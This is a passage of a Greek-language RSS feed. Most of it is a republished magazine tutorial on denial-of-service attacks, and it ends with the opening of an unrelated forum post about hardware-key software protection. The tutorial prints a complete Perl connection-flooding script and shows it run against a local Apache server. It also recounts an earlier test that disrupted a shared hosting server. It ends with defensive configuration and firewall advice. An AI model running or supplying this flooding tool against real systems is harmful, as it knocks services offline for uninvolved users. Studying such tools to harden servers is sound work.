&lt;P&gt;Εντάξει μέχρι εδώ! Όλα καλά! Τώρα το site (αφού το πρόγραμμα μας τελείωσε) λογικά θα πρέπει να μας επιτρέπει την πρόσβαση, έτσι δεν είναι; Αμ δε! Λογαριάσαμε χωρίς των ξενοδόχο. Η εταιρία που έχει το site αποφάσισε να μας κόψει (όχι μόνο σε εμάς αλλά σε όλους) την πρόσβαση στο site αυτό, όπως δείχνει και η παρακάτω εικόνα.&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic6.jpg"&gt;&lt;BR&gt;Εικόνα 6: Στατιστικά στοιχεία του site έχουμε... το ίδιο το site δεν το έχουμε!&lt;/P&gt;
&lt;P&gt;Η ιδιοκτήτρια εταιρία διαπιστώνοντας επίθεση dOs έκανε redirection το site στη σελίδα που βλέπετε στην εικόνα 6 και κλείδωσε τα accounts των διαχειριστών καθως και κάθε πρόσβαση σε αυτό (όπως ftp κλπ)!&lt;/P&gt;
&lt;P&gt;Από εδώ και πέρα ξεκινάει ένας κύκλος διαπραγματεύσεων (με mails κλπ) για να πειστεί η εταιρία hosting οτι το attach ήτανε για λόγους test. &lt;BR&gt;Για λόγους πληροφόρησης σας δείχνουμε την πρώτη απάντηση της εταιρίας όταν ζητήσαμε να επαναφέρουν το site:&lt;/P&gt;
&lt;P&gt;
&lt;HR&gt;
Why would you do that ? 
&lt;P&gt;&lt;/P&gt;
&lt;P&gt;You are on a shared server and you are effecting other customers on the server.&lt;/P&gt;
&lt;P&gt;We will not unsuspended you.&lt;BR&gt;Thank You,&lt;BR&gt;Gxxxxxxxx Wxxxxxxxx&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.webhostingpad.com/"&gt;http://www.webhostingpad.com/&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Ticket Details&lt;BR&gt;===================&lt;BR&gt;Ticket ID: Nxxxxxxxxxxx&lt;BR&gt;Department: Manager&lt;BR&gt;Priority: High&lt;BR&gt;Status: Closed 
&lt;HR&gt;

&lt;P&gt;&lt;/P&gt;
&lt;P&gt;Απ' ότι φαίνεται από το ύφος της επιστολής, η εταιρία δεν συμμετείχε στον ενθουσιασμό μας για την επιτυχία της δοκιμής. Φυσικά το δίκιο είναι με το μέρος τους μιας και η δοκιμή μας επειρέασε (απ ότι αναφέρουν) όλο τον server ο οποίος περιλαμβάνει πολλά άλλα sites εκτός από το s3cure.gr.&lt;BR&gt;Για να μην λέμε πολλά, μετά από κάποιες διαπραγματεύσεις και αφού τους αναφέραμε τους αγαθούς σκοπούς μας, το site άνοιξε και επανήλθε κανονικά...&lt;/P&gt;
&lt;H2&gt;&lt;BR&gt;Επίθεση... αυτοκτονίας από linux ubuntu&lt;/H2&gt;
&lt;P&gt;Ήρθε η ώρα να φτιάξουμε το δικό μας πρόγραμμα επίθεσης dOs και να το δοκιμάσουμε στον... εαυτό μας, δηλαδή στον apache server που έχουμε στον linuxaki μας (εικόνα 7).&lt;BR&gt;Ως συνήθως θα χρησιμοποιήσομε την αγαπημένη μας γλώσσα... την perl! Πριν φτάσουμε όμως στα ενδότερα του κώδικα θα σας πούμε σε γενικές γραμμές την "μεθοδολογία" που θα ακολουθήσουμε. &lt;BR&gt;Απαιτείται να έχετε εγκατεστημένη την Perl και τον Apache server καθώς και κάποιες μικρές βασικές γνώσεις για αυτά τα δύο. &lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic7.jpg"&gt;&lt;BR&gt;Εικόνα 7: Ο apache web server εγατεστημένος στο "linuxaki" μας :-)&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Θα φτιάξουμε ένα πρόγραμμα το οποίο θα δημιουργεί πολλές συνδέσεις με τον server και θα τις κρατάει ανοιχτές για τόσο χρονικό διάστημα, όσο του πούμε εμείς. Θα τρέχει (από που αλλού;) από την γραμμή εντολών και θα δέχεται τέσσερις παραμαμέτρους:&lt;BR&gt;1η παράμετρος: Η Διεύθυνση (URL) του server θύματος.&lt;BR&gt;2η παράμετρος: Η Πόρτα που θα "χτυπήσει" το πρόγραμμα.&lt;BR&gt;3η παράμετρος: Ο αριθμός των δευτερολέπτων που το πρόγραμμα θα "περιμένει" με τις συνδέσεις ανοιχτές.&lt;BR&gt;4η παράμετρος: Το πλήθος των συνδέσεων που θα πραγματοποιηθούν στον server.&lt;/P&gt;
&lt;P&gt;Το πρόγραμμα περιέχει τα κατάλληλα σχόλια ώστε να μην χρειάζετε πολύ ανάλυση των ενεργειών που υλοποιεί:&lt;/P&gt;
&lt;P&gt;
&lt;TABLE style="BORDER-BOTTOM:#e5e5e5 1px solid;BORDER-LEFT:#e5e5e5 1px solid;BACKGROUND-COLOR:#f2f2f2;BORDER-TOP:#e5e5e5 1px solid;BORDER-RIGHT:#e5e5e5 1px solid;" border=0 cellSpacing=0 cellPadding=0 width="100%"&gt;

&lt;TR style="LINE-HEIGHT:normal;VERTICAL-ALIGN:top;"&gt;
&lt;TD style="TEXT-ALIGN:right;WIDTH:40px;"&gt;&lt;PRE style="PADDING-BOTTOM:2px;MARGIN:0px;PADDING-LEFT:2px;PADDING-RIGHT:2px;FONT-FAMILY:courier new;COLOR:gray;FONT-SIZE:11px;BORDER-RIGHT:#e7e7e7 1px solid;PADDING-TOP:2px;"&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 &lt;/PRE&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;PRE style="PADDING-BOTTOM:2px;MARGIN:0px;PADDING-LEFT:8px;PADDING-RIGHT:2px;PADDING-TOP:2px;"&gt;&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:black;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;#!/usr/bin/perl
#
# ΑΡΧΙΚΗ ΙΔΕΑ ΑΠΟ Vade79[v9@nonexistant].
# ΤΡΟΠΟΠΟΙΗΣΗ ΚΑΙ ΑΛΛΑΓΗ ΤΟΥ ΚΩΔΙΚΑ ΣΕ ΜΙΑ ΑΠΛΟΥΣΤΕΡΗ ΜΟΡΦΗ
# Thiseas 2008.
#
use Socket; # ΒΑΣΙΚΗ ΒΙΒΛΙΟΘΗΚΗ ΕΠΙΚΟΙΝΩΝΙΑΣ.
# ΕΙΣΑΓΩΓΗ ΠΑΡΑΜΕΤΡΩΝ. ΑΝ ΔΕΝ ΕΧΟΥΝ ΔΩΘΕΙ ΠΑΡΑΜΕΤΡΟΙ ΒΑΛΕ &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;DEFAULT&lt;/SPAN&gt; ΤΙΜΕΣ.
$Server   &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/SPAN&gt; $ARGV[0]; &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;if&lt;/SPAN&gt; (!$Server){$Server=&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:green;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;'127.0.0.1';}&lt;/SPAN&gt;
$Port   &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/SPAN&gt; $ARGV[1]; &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;if&lt;/SPAN&gt; (!$Port){$Port=80;} 
$Anamoni  &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/SPAN&gt; $ARGV[2]; &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;if&lt;/SPAN&gt; (!$Anamoni){$Anamoni=1;}
$Pli8osSyndesewn &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/SPAN&gt; $ARGV[3]; &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;if&lt;/SPAN&gt; (!$Pli8osSyndesewn){$Pli8osSyndesewn=1;}

# ΕΜΦΑΝΙΣΗ ΤΟΥ ΤΙΤΛΟΥ ΚΑΙ ΤΩΝ ΕΠΙΛΟΓΩΝ ΤΟΥ ΠΡΟΓΡΑΜΜΑΤΟΣ.
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;" - dOs Attach by Flooding - \n"&lt;/SPAN&gt;;
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Syndeseis    : $Pli8osSyndesewn. \n"&lt;/SPAN&gt;;
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Anamoni      : $Anamoni. \n"&lt;/SPAN&gt;;

# ΔΗΛΩΣΕΙΣ ΜΕΤΑΒΛΗΤΩΝ ΚΑΙ ΠΡΩΤΟΚΟΛΟΥ ΕΠΙΚΟΙΝΩΝΙΑΣ
my ($Pli8os_Syndesewn_Ari8mos,$pa,$protocol_info,$EpityxeisSyndeseis,$counter,$H_Syndesi);
$Pli8os_Syndesewn_Ari8mos=inet_aton($Server);
$pa=sockaddr_in($Port,$Pli8os_Syndesewn_Ari8mos);
$protocol_info=getprotobyname(&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:green;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;'tcp');&lt;/SPAN&gt;
$EpityxeisSyndeseis=0;
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"$Server:$Port, Ginetai prospa8eia gia $Pli8osSyndesewn syndeseis.\n"&lt;/SPAN&gt;;


# ΕΔΩ  ΠΡΑΓΜΑΤΟΠΟΙΟΥΝΤΑΙ ΟΛΕΣ ΟΙ ΣΥΝΔΕΣΕΙΣ ΠΟΥ ΖΗΤΗΘΗΚΑΝ.
$counter=0;
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;while&lt;/SPAN&gt; ($counter &amp;lt; $Pli8osSyndesewn){
 $H_Syndesi &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"SOCK$counter"&lt;/SPAN&gt;;
 socket($H_Syndesi,PF_INET,SOCK_STREAM,$protocol_info);
 &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;if&lt;/SPAN&gt; (connect($H_Syndesi,$pa)) { $EpityxeisSyndeseis++; } # ΕΠΙΤΥΧΗΣ ΣΥΝΔΕΣΗ.
 $counter++;
}
# ΜΠΟΡΕΙ ΝΑ ΖΗΤΗΘΟΥΝ ΠΟΛΥ ΠΕΡΙΣΣΟΤΕΡΕΣ ΣΥΝΔΕΣΕΙΣ ΑΠΟ ΑΥΤΕΣ ΠΟΥ ΟΡΙΖΟΝΤΑΙ 
# ΣΤΟ /etc/apache2/apache2.conf &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:green;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;'Η ΑΠΟ ΑΥΤΕΣ ΠΟΥ ΕΙΝΑΙ ΗΔΗ ΕΛΕΥΘΕΡΕΣ, ΟΠΟΤΕ &lt;/SPAN&gt;
# ΕΔΩ ΑΝΑΦΕΡΟΥΜΕ ΠΟΣΕΣ ΕΠΙΤΥΧΕΙΣ ΣΥΝΔΕΣΕΙΣ ΠΡΑΓΜΑΤΟΠΟΙΗΘΗΚΑΝ.
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"$Server:$Port, Pragmatopoih8hkan $EpityxeisSyndeseis epityxeis syndeseis apo $counter, Anamoni $Anamoni. \n"&lt;/SPAN&gt;;
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"$Server:$Port, dOs se ekseliksi...\n"&lt;/SPAN&gt;;
sleep($Anamoni); # ΠΕΡΙΜΕΝΕΕΕΕΕΕΕΕ......!
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;print&lt;/SPAN&gt; &lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"$Server:$Port, Telos diadikasias.\n"&lt;/SPAN&gt;;

# ΤΩΡΑ ΚΛΕΙΣΕ ΟΛΕΣ ΤΙΣ ΣΥΝΔΕΣΕΙΣ (ΑΝΕΞΑΡΤΗΤΑ ΑΝ ΗΤΑΝ ΕΠΙΤΥΧΕΙΣ &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:green;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;'Η ΟΧΙ).&lt;/SPAN&gt;
$counter &lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/SPAN&gt; 0;
&lt;SPAN style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;while&lt;/SPAN&gt; ($counter &amp;lt; $Pli8osSyndesewn){
 $H_Syndesi=&lt;SPAN style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"SOCK$counter"&lt;/SPAN&gt;;
 shutdown($H_Syndesi,2);
 $counter++;
}&lt;/SPAN&gt;&lt;/PRE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P&gt;Ο σκοπός όμως είναι να δούμε και στη πράξη πως ακριβώς συμπεριφέρεται το πρόγραμμα... Για να δούμε:&lt;/P&gt;
&lt;P&gt;Κίνησις 1η: Στην αρχή είμαστε επιφυλακτικοί και τρέχουμε το πρόγραμμα με πολύ μικρές τιμές. Αυτό βοηθάει να κατανοήσουμε καλύτερα την λειτουργία του μιας και τις μικρές τιμές μπορούμε να τις χειριστούμε ευκολότερα, οπότε τρέχουμε το εξής:&lt;BR&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic8.jpg"&gt;&lt;BR&gt;&lt;/P&gt;
&lt;P&gt;Δηλαδή "χτυπάμε" το linuxaki στην πόρτα 80 με αναμονή 1 δευτερόλεπτο και 5 συνδέσεις.&lt;BR&gt;Αμέσως μετά και σε ένα άλλο παράθυρο command&amp;nbsp; τρέχουμε "sudo netstat -tapn". Με αυτόν τον τρόπο θα δούμε τις όλες τις ανοιχτές συνδέσεις που έχουμε (μαζί με τις 5 που μόλις ανοίξαμε). Χε χε... αν δεν τα καταφέρετε να το τρέξετε σε λιγότερο από ένα δευτερόλεπτο (για να δείτε τις συνδέσεις ανοιχτές - established) απλά αυξήστε τον χρόνο αναμονής ;-). Αν μετά από το τέλος του προγράμματος ξανατρέξουμε "sudo netstat -tapn" πάλι θα δούμε τις 5 συνδέσεις μας αυτή τη φορά όμως σε άλλο... status:&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic9.jpg"&gt;&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Είναι ενδιαφέρον να πειραματιστείτε λίγο με το παραπάνω για να καταλάβετε πως λειτουργεί ο apache και πως συμπεριφέρονται οι διαδικασίες monitoring (όπως η netstat) του λειτoυργικού σας.&amp;nbsp; Για τους πιό ανήσυχους θα προτείναμε να πειραματιστούν και με το configuration του apache server (όπως π.χ. στο μέγιστο αριθμό επιτρεπόμενων ανοιχτών συνδέσεων κλπ, όπως Timeout, KeepAlive, MaxKeepAliveRequests, KeepAliveTimeout) τρέχοντας το πρόγραμμα με διαφορετικές παραμέτρους συνδέσεων και καθυστέρησης. Απλά μην ξεχνάτε οτι με κάθε αλλαγή στο /etc/apache2/apache2.conf πρέπει να εκκίνησετε ξανά τον apache&amp;nbsp; με "sudo /etc/init.d/apache2 restart".&lt;/P&gt;
&lt;P&gt;Κίνησις 2η: Τώρα που ξεψαρώσαμε λίγο μπορούμε να αρχίσουμε τις... "χυδαιότητες" και να απαιτήσουμε οχι 5 αλλά 1000 συνδέσεις και όχι 1 αλλά 180 δευτερόλεπτα καθυστέρηση:&lt;BR&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic10.jpg"&gt;&lt;/P&gt;
&lt;P&gt;Μόλις ξεκινήσει το πρόγραμμα να τρέχει θα πρέπει να κάνουμε, στον internet browser, refresh την σελίδα του appache. Ανάλογα τις ρυθμίσεις που έχουμε στο /etc/apache2/apache2.conf κάποια στιγμή θα δούμε το περίφημο&amp;nbsp; "Network Timeout" (εικόνα 11)&lt;/P&gt;
&lt;P&gt;Εικόνα 11: Network Time out... εν δράση!&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic11.jpg"&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H2&gt;Τρόποι προστασίας &lt;/H2&gt;
&lt;P&gt;Οι τρόποι προστασίας μπορούνε να διαχωριστούν σε 2 βασικούς άξονες:&lt;BR&gt;Ο ένας αφορά στην προστασία από το φαινόμενο slashdot. Δηλαδή από την απότομη αύξηση της επισκεψιμότητας στον server μας η οποία δεν οφείλετε σε επίθεση. Τέτοιες καταστάσεις μπορούμε να τις αντιμετωπίσουμε με την αλλαγή κάποιων τιμών του apache configuration file (/etc/apache2/apache2.conf), όπως η αλλαγή των τιμών:&lt;BR&gt;KeepAlive σε συνδιασμό με τις MaxKeepAliveRequests και KeepAliveTimeout (&lt;A href="http://tinyurl.com/5detgy"&gt;http://tinyurl.com/5detgy&lt;/A&gt;).&lt;BR&gt;Η KeepAlive καθορίζει αν μια σύνδεση με τον server μας θα μένει ανοιχτή ή όχι. Για να καταλάβουμε τι σημαίνει αυτό θα δώσουμε το εξής παράδειγμα: Σκεφτείτε οτι το site μας περιέχει ένα μέρος με κείμενο και ένα μέρος με τρείς εικόνες, δηλαδή 4 διαφορετικά "κομμάτια". Χοντρικά, εάν έχουμε θέσει το KeepAlive=off τότε θα πραγματοποιηθούν 4 διαφορετικές συνδέσεις από τoν firefox (ας πούμε) για να μας δείξει το site, μια για να φορτωθεί το κάθε "κομμάτι". &lt;BR&gt;Ας πούμε τώρα οτι χρειάζονται 4 δευτερόλεπτα για να διαβαστούν τα παραπάνω. Αν θέσουμε&amp;nbsp; &lt;BR&gt;KeepAlive=on&lt;BR&gt;KeepAliveTimeout=6&lt;BR&gt;Τότε με μία σύνδεση (που θα διαρκεί 6 δευτερόλεπτα) θα μπορέσει ο browser μας να φέρει το site μας (με μία! - και τα 4 κομμάτια). Ο χρόνος φυσικά θα είναι πολύ καλύτερος από τον προηγούμενο. Φυσικά,... ο τρόπος αυτός έχει ένα μειονέκτημα: Ο μέγιστος αριθμός των συνδέσεων στον server μας ορίζετε από την&amp;nbsp; MaxKeepAliveRequests. Δηλαδή με ένα "MaxKeepAliveRequests=1000" τότε οι πρώτοι 1000 χρήστες θα συνδεθούν για 6 δευτερόλεπτα. Έτσι εάν τον server μας τον επισκεφτούν ταυτόχρονα 10000 χρήστες!!! (λέμε τώρα), τότε μόνο 1000 κάθε φορά θα μπορούν να έχουν πρόσβαση στα δεδομένα και οι υπόλοιποι 9000 θα περιμένουν από 6 δευτερόλεπτα (τουλάχιστον). Αυτό θα έχει σαν αποτέλεσμα πολύ από αυτούς να δούνε στους browsers τους το περίφημο time out και θα τους ζητηθεί να πατήσουν το refresh για ακόμα μια πρσοπάθεια.&lt;BR&gt;Μιά καλή λύση σε πολυσύχναστα sites θα ήταν να θέσουμε το "KeepAlive=off". Αυτό θα είχε σαν αποτέλεσμα ο κάθε χρήστης (ατομικά) να έχει μια μικρή καθυστέρηση (σε σχεση με το αν είχαμε συνεχή σύνδεση). Η καθυστέρηση αυτή (στατιστικά) κυμαίνεται γύρω στο 15-20%, δηλαδή όχι και τόσο σοβαρή. Το καλό όμως θα είναι οτι θα μπορούμε να "εξυπηρετήσουμε" ένα πάρα πολύ μεγάλο αριθμό χρηστών χωρίς ιδαίτερα προβλήματα.&lt;BR&gt;Ένας άλλος σημαντικός παράγοντας για καλύτερη απόκριση είναι τα settings της βάσης δεδομένων. Αν έχουμε π.χ. MySQL και το site μας κάνει χρήση πολλών εντολών που φέρνουν ή ενημερώνουν την Βάση μας, τότε αξίζουν προσοχής όλες οι πατράμετροι που ορίζουν το cache και τα buffers της μνήμης που χρησιμοποιήται (π.χ. query_cash_size). Μια λεπτομερής ανάλυση αυτών των παραμέτρων θα ξέφευγε εντελώς από τον σκοπό του άρθρου. Αξίζει όμως να αναφέρουμε οτι υπάρχουν αρκετές και λεπτομερείς αναφορές στο net (&lt;A href="http://tinyurl.com/eoxha"&gt;http://tinyurl.com/eoxha&lt;/A&gt;).&lt;BR&gt;Φυσικά δεν λείπουνε και τα έτοιμα προγράμματα που μετρούν (και κάποια διορθώνουν) προβλήματα ταχύητητας και υψηλού φόρτου σε έναν server όπως τα:&lt;BR&gt;&amp;gt;&amp;nbsp;JMeter (&lt;A href="http://tinyurl.com/56rfyo"&gt;http://tinyurl.com/56rfyo&lt;/A&gt;): πρόγραμμα από το γνωστό Jakarta Project σε java που μπορεί να μετρήσει μετρήσει την αποδοτικότητα του server.&lt;BR&gt;&amp;gt;&amp;nbsp;Web Developer Server Suite (&lt;A href="http://tinyurl.com/5p35hn"&gt;http://tinyurl.com/5p35hn&lt;/A&gt;): Εμπορικό πρόγραμμα σε windows για μέτρηση και έλεγχο.&lt;BR&gt;&amp;gt;&amp;nbsp;Zend platform: μια γνωστή επμορική εφαρμογή με ομολογουμένος πολλές δυνατότητες και αξιοσημείωτα χαρακτηρηστικά βελτιστοποίησης (&lt;A href="http://www.zend.com/"&gt;http://www.zend.com/&lt;/A&gt;).&lt;/P&gt;
&lt;P&gt;Όπως είπαμε όμως, είπαμε και πριν, υπάρχει και ο άλλος άξονας. Οι... επιθέσεις. Μια σύντομη αλλά περιεκτική λίστα τρόπων προστασίας από επιθέσεις DOS είναι η παρακάτω:&lt;BR&gt;&amp;gt;&amp;nbsp;Ένα καλό firewall (στην ιδανική περίπτωση hardware) με σύστημα intrution detection (π.χ &lt;A href="http://tinyurl.com/6z6tup"&gt;http://tinyurl.com/6z6tup&lt;/A&gt; ή &lt;A href="http://tinyurl.com/evn6v"&gt;http://tinyurl.com/evn6v&lt;/A&gt;). Εδώ μπορείτε να "μπλοκάρετε" συγκεκριμένες πόρτες, Ips, ακόμα και συγκεκριμένα πρωτόκολα επικοινωνίας με τον server σας.&amp;nbsp; &lt;BR&gt;&amp;gt;&amp;nbsp;Να έχετε πάντα ενημερωμένο software (λειτουργικό, web servers, firewalls, antiviruses κλπ) με τις τελευταίες ενημερώσεις του κατασκευαστή.&lt;BR&gt;&amp;gt;&amp;nbsp;Ειδικό Software, Routers και hardawre συστήματα για πρόληψη επιθέσεων DOS (&lt;A href="http://tinyurl.com/6emync"&gt;http://tinyurl.com/6emync&lt;/A&gt;).&lt;/P&gt;
&lt;P&gt;Γενικά, οποτεδήποτε παρατηρήσετε ασυνήθιστη πτώση της ταχύτητας του δικύου σας να ελέγχετε και να μελετάτε πάντα τα logs του server σας. Για παράδειγμα, σε περίπτωση που παρατηρήσετε πάρα πολλές συνδέσεις από μια συγκεκριμένη IP σε πολύ μικρό χρονικό διάστημα (π.χ. μέσα σε 10") είναι κατά πάσα πιθανότητα επίθεση DOS. Το πρώτο που θα πρέπει να κάνετε τότε είναι να "κόψετε" την IP να έχει πρόσβαση στον server σας, π.χ. μέσω του firewall. &lt;/P&gt;
&lt;H2&gt;Αντί... επιλόγου ;-)&lt;/H2&gt;
&lt;P&gt;Να ξεκαθαρίσουμε οτι η διαδικασία του να καλείς ένα έτοιμο πρόγραμμα για να κάνεις απλά κακό σε κάποιον server (που δεν σου φταίει σε τίποτα) είναι ο ορισμός του lamer και του script kiddie και καταδικάζεται μετά "βδελυγμίας" από όλους τους απανταχού normal ανθρώπους (πόσο μάλλον και από τους hackers – που δεν είναι και... normal!!)&lt;BR&gt;Από την άλλη μεριά, η διαδικασία επίθεσης που περιγράφτηκε στο linux, προσφέρεται για πειραματισμούς με τον apache μας μιας και στo δικό μας περιβάλον δεν πρόκειται να μας κατηγορήσει κανείς ;-). Με τον ίδιο ακριβώς&amp;nbsp;τρόπο (και προτείνετε από τον γράφοντα)&amp;nbsp;μπορούμε να δοκιμάσουμε τις "αντοχές"&amp;nbsp;ενός τοπικού IIS 7, προς γνώση και συμόρφωση (μας)!&lt;BR&gt;Επίσης, αλλάχτε και το προγραμματάκι μας, προσαρμόστε το, ενισχύστε το... αλλάξτε του τα φώτα guys!! "Κρεμάστε" το σύστημα σας και ξαναεγκαταστήστε το!! Άλλωστε, ο τρόπος αυτός του πειραματισμού είναι ο καλύτερος για να μάθει κάποιος αυτά που κανένα βιβλίο και καμιά αίθουσα διαδασκαλίας δεν μπορεί να του προσφέρει. &lt;BR&gt;Είναι ο τρόπος που μάθανε όλοι οι hackers: "The hard way" ή για τους λάτρεις του Matrix: "The Blue Pile" (&lt;A href="http://tinyurl.com/68k2z"&gt;http://tinyurl.com/68k2z&lt;/A&gt;)&lt;/P&gt;
&lt;P&gt;Happy Testing!&lt;/P&gt;
&lt;P&gt;&lt;EM&gt;DoS Attacks&amp;nbsp; [ Πρώτη Δημοσίευση: Περιοδικό TotalXakeR #17 ]&lt;/EM&gt;&lt;BR&gt;&lt;/P&gt;</description></item><item><title>Hardware (memmory stick-HASP) protection help</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/54082.aspx</link><pubDate>Tue, 29 Sep 2009 21:17:17 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:54082</guid><dc:creator>Johnnyxp64</dc:creator><slash:comments>11</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/54082.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=54082</wfw:commentRss><description>Καλησπέρα σε όλους τους φίλους &amp;amp; φίλες&lt;P&gt;Ψάχνω να βρω μια λύση ώστε να προστατέψω μια εφαρμογή μου με hardware τροπο καποιο memmory stick (HASP κλειδί) που θα πρεπει να ειναι πανω στο μηχανημα ωστε να επιτρεπει την εκτελεση της.&lt;BR&gt;Δεν θέλω να ψάξω στα τυφλά, δεν το εχω ξανακάνει με hardware και θα ήθελα την γνώμη και τις προτάσεις απο όλους όσους έχουν κάνει κάτι τέτοιο ως προς τα εξής:&lt;/P&gt;&lt;OL&gt;&lt;LI&gt;πως λέγεται που μπορώ να βρω site με πληροφορίες - εικόνες.&lt;/LI&gt;&lt;LI&gt;πόσο εύκολα  γίνετε (και 